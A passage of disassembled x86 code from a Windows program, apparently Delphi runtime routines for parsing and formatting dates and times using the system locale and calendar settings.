		idiv	ecx
		pop	ecx
		imul	ax, 64h
		add	di, ax
		cmp	word_4001A7F8, 0
		jbe	short loc_4000A3DB
		movzx	eax, di
		cmp	ecx, eax
		jle	short loc_4000A3DB
		add	di, 64h
		jmp	short loc_4000A3DB
; ---------------------------------------------------------------------------


loc_4000A3AC:				; CODE XREF: sub_4000A1CC+108j
		call	sub_400092B0
		mov	edi, eax
		cmp	[ebp+var_E], 1
		jnz	short loc_4000A3CB
		movzx	eax, [ebp+var_10]
		mov	[ebp+var_18], ax
		movzx	eax, [ebp+var_12]
		mov	[ebp+var_16], ax
		jmp	short loc_4000A3DB
; ---------------------------------------------------------------------------


loc_4000A3CB:				; CODE XREF: sub_4000A1CC+1EBj
		movzx	eax, [ebp+var_10]
		mov	[ebp+var_16], ax
		movzx	eax, [ebp+var_12]
		mov	[ebp+var_18], ax


loc_4000A3DB:				; CODE XREF: sub_4000A1CC+19Dj
					; sub_4000A1CC+1A3j ...
		mov	edx, ebx
		movzx	ecx, ds:byte_4001E811
		mov	eax, esi
		call	sub_4000A04C
		mov	edx, ebx
		mov	eax, esi
		call	sub_40009EBC
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	loc_4000A4B5
		mov	edx, ds:dword_4001E814
		mov	eax, offset dword_4000A514
		call	sub_40004E30
		test	eax, eax
		jz	loc_4000A4B5
		mov	eax, ds:dword_4001E828
		movzx	eax, byte ptr [eax]
		add	al, 0D0h
		sub	al, 0Ah
		jnb	short loc_4000A439
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000A0D4
		jmp	loc_4000A4B5
; ---------------------------------------------------------------------------
		jmp	short loc_4000A439
; ---------------------------------------------------------------------------


loc_4000A437:				; CODE XREF: sub_4000A1CC+27Fj
		inc	dword ptr [ebx]


loc_4000A439:				; CODE XREF: sub_4000A1CC+259j
					; sub_4000A1CC+269j ...
		mov	eax, esi
		call	sub_40004B44
		cmp	eax, [ebx]
		jl	short loc_4000A44D
		mov	eax, [ebx]
		cmp	byte ptr [esi+eax-1], 20h
		jnz	short loc_4000A437


loc_4000A44D:				; CODE XREF: sub_4000A1CC+276j
		mov	edx, ebx
		mov	eax, esi
		call	sub_40009EBC
		mov	eax, esi
		call	sub_40004B44
		cmp	eax, [ebx]
		jl	short loc_4000A4B5
		lea	eax, [ebp+var_24]
		push	eax
		mov	eax, ds:dword_4001E820
		call	sub_40004B44
		mov	ecx, eax
		mov	edx, [ebx]
		mov	eax, esi
		call	sub_40004DA8
		mov	edx, [ebp+var_24]
		mov	eax, ds:dword_4001E820
		call	sub_40007BB4
		test	eax, eax
		jz	short loc_4000A4B5
		lea	eax, [ebp+var_28]
		push	eax
		mov	eax, ds:dword_4001E824
		call	sub_40004B44
		mov	ecx, eax
		mov	edx, [ebx]
		mov	eax, esi
		call	sub_40004DA8
		mov	edx, [ebp+var_28]
		mov	eax, ds:dword_4001E824
		call	sub_40007BB4
		test	eax, eax
		jnz	short loc_4000A439


loc_4000A4B5:				; CODE XREF: sub_4000A1CC+22Fj
					; sub_4000A1CC+247j ...
		mov	eax, [ebp+var_C]
		push	eax
		movzx	ecx, [ebp+var_18]
		movzx	edx, [ebp+var_16]
		mov	eax, edi
		call	sub_40009050
		mov	[ebp+var_D], al


loc_4000A4CB:				; CODE XREF: sub_4000A1CC+C0j
					; sub_4000A1CC+D8j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000A4F5


loc_4000A4D8:				; CODE XREF: sub_4000A1CC+327j
		lea	eax, [ebp+var_28]
		mov	edx, 3
		call	sub_400048A8
		lea	eax, [ebp+var_8]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000A4EE:				; DATA XREF: sub_4000A1CC+21o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000A4D8
; ---------------------------------------------------------------------------


loc_4000A4F5:				; CODE XREF: sub_4000A1CC+321j
					; DATA XREF: sub_4000A1CC+307o
		movzx	eax, [ebp+var_D]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000A1CC	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 1
dword_4000A508	dd 65h,	0FFFFFFFFh, 3dword_4000A514	dd 646464h	
; =============== S U B	R O U T	I N E =======================================



sub_4000A518	proc near		; CODE XREF: sub_4000A748+14p
					; sub_4000A780+4Ep

var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF0h
		mov	[esp+20h+var_20], ecx
		mov	esi, edx
		mov	ebp, eax
		xor	ebx, ebx
		or	edi, 0FFFFFFFFh
		mov	edx, esi
		mov	ecx, ds:dword_4001E820
		mov	eax, ebp
		call	sub_40009F74
		test	al, al
		jnz	short loc_4000A550
		mov	edx, esi
		mov	ecx, offset dword_4000A700
		mov	eax, ebp
		call	sub_40009F74
		test	al, al
		jz	short loc_4000A554


loc_4000A550:				; CODE XREF: sub_4000A518+24j
		xor	edi, edi
		jmp	short loc_4000A57E
; ---------------------------------------------------------------------------


loc_4000A554:				; CODE XREF: sub_4000A518+36j
		mov	edx, esi
		mov	ecx, ds:dword_4001E824
		mov	eax, ebp
		call	sub_40009F74
		test	al, al
		jnz	short loc_4000A579
		mov	edx, esi
		mov	ecx, offset dword_4000A70C
		mov	eax, ebp
		call	sub_40009F74
		test	al, al
		jz	short loc_4000A57E


loc_4000A579:				; CODE XREF: sub_4000A518+4Dj
		mov	edi, 0Ch


loc_4000A57E:				; CODE XREF: sub_4000A518+3Aj
					; sub_4000A518+5Fj
		test	edi, edi
		jl	short loc_4000A58B
		mov	edx, esi
		mov	eax, ebp
		call	sub_40009EBC


loc_4000A58B:				; CODE XREF: sub_4000A518+68j
		lea	eax, [esp+20h+var_14]
		push	eax
		lea	ecx, [esp+24h+var_1C]
		mov	edx, esi
		mov	eax, ebp
		call	sub_40009EE0
		test	al, al
		jz	loc_4000A6ED
		mov	[esp+20h+var_1A], 0
		mov	[esp+20h+var_18], 0
		mov	[esp+20h+var_16], 0
		mov	edx, esi
		movzx	ecx, ds:byte_4001E81C
		mov	eax, ebp
		call	sub_4000A04C
		test	al, al
		jz	short loc_4000A644
		lea	eax, [esp+20h+var_14]
		push	eax
		lea	ecx, [esp+24h+var_1A]
		mov	edx, esi
		mov	eax, ebp
		call	sub_40009EE0
		test	al, al
		jz	loc_4000A6ED
		mov	edx, esi
		movzx	ecx, ds:byte_4001E81C
		mov	eax, ebp
		call	sub_4000A04C
		test	al, al
		jz	short loc_4000A644
		lea	eax, [esp+20h+var_14]
		push	eax
		lea	ecx, [esp+24h+var_18]
		mov	edx, esi
		mov	eax, ebp
		call	sub_40009EE0
		test	al, al
		jz	loc_4000A6ED
		mov	edx, esi
		movzx	ecx, ds:byte_4001E80F
		mov	eax, ebp
		call	sub_4000A04C
		test	al, al
		jz	short loc_4000A644
		lea	eax, [esp+20h+var_14]
		push	eax
		lea	ecx, [esp+24h+var_16]
		mov	edx, esi
		mov	eax, ebp
		call	sub_40009EE0
		test	al, al
		jz	loc_4000A6ED


loc_4000A644:				; CODE XREF: sub_4000A518+B4j
					; sub_4000A518+E2j ...
		test	edi, edi
		jge	short loc_4000A69B
		mov	edx, esi
		mov	ecx, ds:dword_4001E820
		mov	eax, ebp
		call	sub_40009F74
		test	al, al
		jnz	short loc_4000A66D
		mov	edx, esi
		mov	ecx, offset dword_4000A700
		mov	eax, ebp
		call	sub_40009F74
		test	al, al
		jz	short loc_4000A671


loc_4000A66D:				; CODE XREF: sub_4000A518+141j
		xor	edi, edi
		jmp	short loc_4000A69B
; ---------------------------------------------------------------------------


loc_4000A671:				; CODE XREF: sub_4000A518+153j
		mov	edx, esi
		mov	ecx, ds:dword_4001E824
		mov	eax, ebp
		call	sub_40009F74
		test	al, al
		jnz	short loc_4000A696
		mov	edx, esi
		mov	ecx, offset dword_4000A70C
		mov	eax, ebp
		call	sub_40009F74
		test	al, al
		jz	short loc_4000A69B


loc_4000A696:				; CODE XREF: sub_4000A518+16Aj
		mov	edi, 0Ch


loc_4000A69B:				; CODE XREF: sub_4000A518+12Ej
					; sub_4000A518+157j ...
		test	edi, edi
		jl	short loc_4000A6C3
		cmp	[esp+20h+var_1C], 0
		jz	short loc_4000A6ED
		cmp	[esp+20h+var_1C], 0Ch
		ja	short loc_4000A6ED
		cmp	[esp+20h+var_1C], 0Ch
		jnz	short loc_4000A6BE
		mov	[esp+20h+var_1C], 0


loc_4000A6BE:				; CODE XREF: sub_4000A518+19Dj
		add	[esp+20h+var_1C], di


loc_4000A6C3:				; CODE XREF: sub_4000A518+185j
		mov	edx, esi
		mov	eax, ebp
		call	sub_40009EBC
		movzx	eax, [esp+20h+var_16]
		push	eax
		mov	eax, [esp+24h+var_20]
		push	eax
		movzx	ecx, [esp+28h+var_18]
		movzx	edx, [esp+28h+var_1A]
		movzx	eax, [esp+28h+var_1C]
		call	sub_40008F48
		mov	ebx, eax


loc_4000A6ED:				; CODE XREF: sub_4000A518+87j
					; sub_4000A518+CAj ...
		mov	eax, ebx
		add	esp, 10h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000A518	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_4000A700	dd 4D41h, 0FFFFFFFFh, 2					; sub_4000A518+145o
dword_4000A70C	dd 4D50h						; sub_4000A518+16Eo

; =============== S U B	R O U T	I N E =======================================



sub_4000A710	proc near		; CODE XREF: sub_40010874+69p

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		mov	[esp+0Ch+var_C], 1
		mov	ecx, esi
		mov	edx, esp
		mov	eax, ebx
		call	sub_4000A1CC
		test	al, al
		jz	short loc_4000A740
		mov	eax, ebx
		test	eax, eax
		jz	short loc_4000A738
		sub	eax, 4
		mov	eax, [eax]


loc_4000A738:				; CODE XREF: sub_4000A710+21j
		cmp	eax, [esp+0Ch+var_C]
		setl	al
		jmp	short loc_4000A742
; ---------------------------------------------------------------------------


loc_4000A740:				; CODE XREF: sub_4000A710+1Bj
		xor	eax, eax


loc_4000A742:				; CODE XREF: sub_4000A710+2Ej
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_4000A710	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000A748	proc near		; CODE XREF: sub_4000A780+5Dp

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		mov	[esp+0Ch+var_C], 1
		mov	ecx, esi
		mov	edx, esp
		mov	eax, ebx
		call	sub_4000A518
		test	al, al
		jz	short loc_4000A778
		mov	eax, ebx
		test	eax, eax
		jz	short loc_4000A770
		sub	eax, 4
		mov	eax, [eax]


loc_4000A770:				; CODE XREF: sub_4000A748+21j
		cmp	eax, [esp+0Ch+var_C]
		setl	al
		jmp	short loc_4000A77A
; ---------------------------------------------------------------------------


loc_4000A778:				; CODE XREF: sub_4000A748+1Bj
		xor	eax, eax


loc_4000A77A:				; CODE XREF: sub_4000A748+2Ej
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_4000A748	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000A780	proc near		; CODE XREF: sub_4000CF90+35p

var_24		= dword	ptr -24h
var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFE8h
		mov	edi, edx
		mov	esi, eax
		mov	bl, 1
		mov	[esp+24h+var_24], 1
		xor	eax, eax
		mov	dword ptr [esp+24h+var_14], eax
		mov	dword ptr [esp+24h+var_14+4], eax
		lea	ecx, [esp+24h+var_1C]
		mov	edx, esp
		mov	eax, esi
		call	sub_4000A1CC
		test	al, al
		jnz	short loc_4000A7B2
		mov	al, 1
		jmp	short loc_4000A7D5
; ---------------------------------------------------------------------------


loc_4000A7B2:				; CODE XREF: sub_4000A780+2Cj
		mov	eax, esi
		test	eax, eax
		jz	short loc_4000A7BD
		sub	eax, 4
		mov	eax, [eax]


loc_4000A7BD:				; CODE XREF: sub_4000A780+36j
		cmp	eax, [esp+24h+var_24]
		jge	short loc_4000A7C6
		mov	al, 1
		jmp	short loc_4000A7D3
; ---------------------------------------------------------------------------


loc_4000A7C6:				; CODE XREF: sub_4000A780+40j
		lea	ecx, [esp+24h+var_14]
		mov	edx, esp
		mov	eax, esi
		call	sub_4000A518


loc_4000A7D3:				; CODE XREF: sub_4000A780+44j
		xor	al, 1


loc_4000A7D5:				; CODE XREF: sub_4000A780+30j
		test	al, al
		jz	short loc_4000A7E6
		mov	edx, edi
		mov	eax, esi
		call	sub_4000A748
		mov	ebx, eax
		jmp	short loc_4000A80E
; ---------------------------------------------------------------------------


loc_4000A7E6:				; CODE XREF: sub_4000A780+57j
		fld	[esp+24h+var_1C]
		fcomp	ds:flt_4000A818
		fstsw	ax
		sahf
		jb	short loc_4000A803
		fld	[esp+24h+var_1C]
		fadd	[esp+24h+var_14]
		fstp	qword ptr [edi]
		wait
		jmp	short loc_4000A80E
; ---------------------------------------------------------------------------


loc_4000A803:				; CODE XREF: sub_4000A780+74j
		fld	[esp+24h+var_1C]
		fsub	[esp+24h+var_14]
		fstp	qword ptr [edi]
		wait


loc_4000A80E:				; CODE XREF: sub_4000A780+64j
					; sub_4000A780+81j
		mov	eax, ebx
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000A780	endp

; ---------------------------------------------------------------------------
		align 4
flt_4000A818	dd 0.0			; DATA XREF: sub_4000A780+6Ar

; =============== S U B	R O U T	I N E =======================================



sub_4000A81C	proc near		; CODE XREF: sub_4000C41C+2Cp
					; sub_4000DDD4+1E7p ...

var_105		= byte ptr -105h
var_104		= byte ptr -104h

		push	ebx
		add	esp, 0FFFFFF00h
		mov	ebx, edx
		push	0
		push	100h
		lea	edx, [esp+10Ch+var_104]
		push	edx
		push	0
		push	eax
		push	0
		push	3200h
		call	sub_40006540	; FormatMessageA
		jmp	short loc_4000A843
; ---------------------------------------------------------------------------


loc_4000A842:				; CODE XREF: sub_4000A81C+33j
					; sub_4000A81C+38j
		dec	eax


loc_4000A843:				; CODE XREF: sub_4000A81C+24j
		test	eax, eax
		jle	short loc_4000A856
		movzx	edx, [esp+eax+104h+var_105]
		sub	dl, 21h
		jb	short loc_4000A842
		sub	dl, 0Dh
		jz	short loc_4000A842


loc_4000A856:				; CODE XREF: sub_4000A81C+29j
		mov	edx, esp
		mov	ecx, ebx
		xchg	eax, ecx
		call	sub_40004974
		add	esp, 100h
		pop	ebx
		retn
sub_4000A81C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000A868	proc near		; CODE XREF: sub_4000A8E0+1Cp
					; sub_4000AAF4+27p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF00h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, [ebp+arg_0]
		push	100h
		lea	ecx, [ebp+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_40006590	; GetLocaleInfoA
		test	eax, eax
		jle	short loc_4000A8A1
		mov	ecx, eax
		dec	ecx
		lea	edx, [ebp+var_100]
		mov	eax, ebx
		call	sub_40004974
		jmp	short loc_4000A8AA
; ---------------------------------------------------------------------------


loc_4000A8A1:				; CODE XREF: sub_4000A868+25j
		mov	eax, ebx
		mov	edx, esi
		call	sub_400048D8


loc_4000A8AA:				; CODE XREF: sub_4000A868+37j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4000A868	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000A8B4	proc near		; CODE XREF: sub_4000BE64+ADp
					; sub_4000BE64+C0p ...

var_10		= byte ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	ebx, ecx
		mov	esi, edx
		mov	edi, eax
		push	2
		lea	eax, [esp+14h+var_10]
		push	eax
		push	esi
		push	edi
		call	sub_40006590	; GetLocaleInfoA
		test	eax, eax
		jle	short loc_4000A8D6
		movzx	eax, [esp+10h+var_10]
		jmp	short loc_4000A8D8
; ---------------------------------------------------------------------------


loc_4000A8D6:				; CODE XREF: sub_4000A8B4+1Aj
		mov	eax, ebx


loc_4000A8D8:				; CODE XREF: sub_4000A8B4+20j
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000A8B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000A8E0	proc near		; CODE XREF: sub_4000A91C+46p
					; sub_4000A91C+69p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	esi, eax
		mov	ebx, [ebp+arg_0]
		push	ebx
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		xor	ecx, ecx
		mov	edx, esi
		call	sub_4000A868
		cmp	dword ptr [ebx], 0
		jnz	short loc_4000A913
		mov	eax, [ebp+var_4]
		mov	eax, [eax+edi*4]
		mov	edx, ebx
		call	sub_400062F0


loc_4000A913:				; CODE XREF: sub_4000A8E0+24j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	8
sub_4000A8E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000A91C	proc near		; CODE XREF: sub_4000BE64+23p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		push	ebp
		push	offset loc_4000AA2F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_400065C8	; GetThreadLocale
		mov	[ebp+var_4], eax
		mov	ebx, 1
		mov	esi, offset dword_4001E830
		mov	edi, offset dword_4001E860


loc_4000A94F:				; CODE XREF: sub_4000A91C+83j
		push	ebp
		push	0Bh
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, offset off_4001A884
		mov	edx, ebx
		dec	edx
		lea	eax, [ebx+44h]
		dec	eax
		call	sub_4000A8E0
		pop	ecx
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_400048D8
		push	ebp
		push	0Bh
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, offset off_4001A8B4
		mov	edx, ebx
		dec	edx
		lea	eax, [ebx+38h]
		dec	eax
		call	sub_4000A8E0
		pop	ecx
		mov	edx, [ebp+var_10]
		mov	eax, edi
		call	sub_400048D8
		inc	ebx
		add	edi, 4
		add	esi, 4
		cmp	ebx, 0Dh
		jnz	short loc_4000A94F
		mov	ebx, 1
		mov	esi, offset dword_4001E890
		mov	edi, offset dword_4001E8AC


loc_4000A9B0:				; CODE XREF: sub_4000A91C+F6j
		lea	eax, [ebx+5]
		mov	ecx, 7
		cdq
		idiv	ecx
		mov	[ebp+var_8], edx
		push	ebp
		push	6
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, offset off_4001A8E4
		mov	edx, ebx
		dec	edx
		mov	eax, [ebp+var_8]
		add	eax, 31h
		call	sub_4000A8E0
		pop	ecx
		mov	edx, [ebp+var_14]
		mov	eax, esi
		call	sub_400048D8
		push	ebp
		push	6
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, offset off_4001A900
		mov	edx, ebx
		dec	edx
		mov	eax, [ebp+var_8]
		add	eax, 2Ah
		call	sub_4000A8E0
		pop	ecx
		mov	edx, [ebp+var_18]
		mov	eax, edi
		call	sub_400048D8
		inc	ebx
		add	edi, 4
		add	esi, 4
		cmp	ebx, 8
		jnz	short loc_4000A9B0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000AA36


loc_4000AA21:				; CODE XREF: sub_4000A91C+118j
		lea	eax, [ebp+var_18]
		mov	edx, 4
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_4000AA2F:				; DATA XREF: sub_4000A91C+11o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000AA21
; ---------------------------------------------------------------------------


loc_4000AA36:				; CODE XREF: sub_4000A91C+112j
					; DATA XREF: sub_4000A91C+100o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000A91C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000AA40	proc near		; DATA XREF: sub_4000AAF4+4Eo

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		xor	esi, esi
		mov	ebx, 1
		jmp	short loc_4000AA54
; ---------------------------------------------------------------------------


loc_4000AA4E:				; CODE XREF: sub_4000AA40+1Cj
		cmp	ebx, 7
		jz	short loc_4000AA72
		inc	ebx


loc_4000AA54:				; CODE XREF: sub_4000AA40+Cj
		cmp	ds:dword_4001E8D4[ebx*4], 0
		jnz	short loc_4000AA4E
		lea	eax, dword_4001E8D4[ebx*4]
		mov	edx, [ebp+arg_0]
		call	sub_40004A7C
		mov	esi, 1


loc_4000AA72:				; CODE XREF: sub_4000AA40+11j
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_4000AA40	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000AA7C	proc near		; DATA XREF: sub_4000AAF4+77o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_4000AAE1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	esi, esi
		mov	ebx, 1
		jmp	short loc_4000AAA0
; ---------------------------------------------------------------------------


loc_4000AA9A:				; CODE XREF: sub_4000AA7C+2Cj
		cmp	ebx, 7
		jz	short loc_4000AACB
		inc	ebx


loc_4000AAA0:				; CODE XREF: sub_4000AA7C+1Cj
		cmp	ds:dword_4001E8F0[ebx*4], 0FFFFFFFFh
		jnz	short loc_4000AA9A
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_40004A7C
		mov	eax, [ebp+var_4]
		xor	edx, edx
		call	sub_40007DD4
		mov	ds:dword_4001E8F0[ebx*4], eax
		mov	esi, 1


loc_4000AACB:				; CODE XREF: sub_4000AA7C+21j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000AAE8


loc_4000AAD8:				; CODE XREF: sub_4000AA7C+6Aj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000AAE1:				; DATA XREF: sub_4000AA7C+Ao
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000AAD8
; ---------------------------------------------------------------------------


loc_4000AAE8:				; CODE XREF: sub_4000AA7C+64j
					; DATA XREF: sub_4000AA7C+57o
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_4000AA7C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000AAF4	proc near		; CODE XREF: sub_4000BE64+31p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_4000AB8B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_400065C8	; GetThreadLocale
		mov	ecx, offset dword_4000ABA0
		mov	edx, 100Bh
		call	sub_4000A868
		mov	eax, [ebp+var_4]
		mov	edx, 1
		call	sub_40007DD4
		mov	esi, eax
		mov	eax, esi
		add	eax, 0FFFFFFFDh
		sub	eax, 3
		jnb	short loc_4000AB75
		push	4
		push	esi
		call	sub_400065C8	; GetThreadLocale
		push	eax
		push	offset sub_4000AA40
		call	sub_40006528	; EnumCalendarInfoA
		mov	edx, 7
		mov	eax, offset dword_4001E8F4


loc_4000AB56:				; CODE XREF: sub_4000AAF4+6Cj
		mov	dword ptr [eax], 0FFFFFFFFh
		add	eax, 4
		dec	edx
		jnz	short loc_4000AB56
		push	3
		push	esi
		call	sub_400065C8	; GetThreadLocale
		push	eax
		push	offset sub_4000AA7C
		call	sub_40006528	; EnumCalendarInfoA


loc_4000AB75:				; CODE XREF: sub_4000AAF4+43j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000AB92


loc_4000AB82:				; CODE XREF: sub_4000AAF4+9Cj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000AB8B:				; DATA XREF: sub_4000AAF4+9o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000AB82
; ---------------------------------------------------------------------------


loc_4000AB92:				; CODE XREF: sub_4000AAF4+96j
					; DATA XREF: sub_4000AAF4+89o
		pop	esi
		pop	ecx
		pop	ebp
		retn
sub_4000AAF4	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_4000ABA0	dd 31h		
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000ABA4	proc near		; CODE XREF: sub_4000BE64+11Cp
					; sub_4000BE64+149p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000AD74
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, 1
		mov	eax, edi
		call	sub_40004884
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_400065C8	; GetThreadLocale
		mov	ecx, offset dword_4000AD8C
		mov	edx, 1009h
		call	sub_4000A868
		mov	eax, [ebp+var_8]
		mov	edx, 1
		call	sub_40007DD4
		add	eax, 0FFFFFFFDh
		sub	eax, 3
		jb	loc_4000AD4A
		mov	eax, ds:dword_4001E8CC
		sub	eax, 4
		jz	short loc_4000AC16
		add	eax, 0FFFFFFF3h
		sub	eax, 2
		jb	short loc_4000AC16
		xor	eax, eax
		jmp	short loc_4000AC18
; ---------------------------------------------------------------------------


loc_4000AC16:				; CODE XREF: sub_4000ABA4+64j
					; sub_4000ABA4+6Cj
		mov	al, 1


loc_4000AC18:				; CODE XREF: sub_4000ABA4+70j
		test	al, al
		jz	short loc_4000AC53
		jmp	short loc_4000AC43
; ---------------------------------------------------------------------------


loc_4000AC1E:				; CODE XREF: sub_4000ABA4+A8j
		movzx	eax, byte ptr [esi+ebx-1]
		sub	al, 47h
		jz	short loc_4000AC42
		sub	al, 20h
		jz	short loc_4000AC42
		lea	eax, [ebp+var_C]
		movzx	edx, byte ptr [esi+ebx-1]
		call	sub_40004A6C
		mov	edx, [ebp+var_C]
		mov	eax, edi
		call	sub_40004B50


loc_4000AC42:				; CODE XREF: sub_4000ABA4+81j
					; sub_4000ABA4+85j
		inc	ebx


loc_4000AC43:				; CODE XREF: sub_4000ABA4+78j
		mov	eax, esi
		call	sub_40004B44
		cmp	ebx, eax
		jle	short loc_4000AC1E
		jmp	loc_4000AD59
; ---------------------------------------------------------------------------


loc_4000AC53:				; CODE XREF: sub_4000ABA4+76j
		mov	eax, edi
		mov	edx, esi
		call	sub_400048D8
		jmp	loc_4000AD59
; ---------------------------------------------------------------------------


loc_4000AC61:				; CODE XREF: sub_4000ABA4+1AFj
		movzx	eax, byte ptr [esi+ebx-1]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_4000ACA0
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000BB88
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, ebx
		mov	eax, esi
		call	sub_40004DA8
		mov	edx, [ebp+var_10]
		mov	eax, edi
		call	sub_40004B50
		add	ebx, [ebp+var_4]
		jmp	loc_4000AD4A
; ---------------------------------------------------------------------------


loc_4000ACA0:				; CODE XREF: sub_4000ABA4+CCj
		mov	edx, offset dword_4000AD90
		lea	eax, [esi+ebx-1]
		mov	ecx, 2
		call	sub_400081E0
		test	eax, eax
		jnz	short loc_4000ACC9
		mov	eax, edi
		mov	edx, offset dword_4000AD9C
		call	sub_40004B50
		inc	ebx
		jmp	loc_4000AD49
; ---------------------------------------------------------------------------


loc_4000ACC9:				; CODE XREF: sub_4000ABA4+111j
		mov	edx, offset aYyyy_0 ; "yyyy"
		lea	eax, [esi+ebx-1]
		mov	ecx, 4
		call	sub_400081E0
		test	eax, eax
		jnz	short loc_4000ACF1
		mov	eax, edi
		mov	edx, offset aEeee ; "eeee"
		call	sub_40004B50
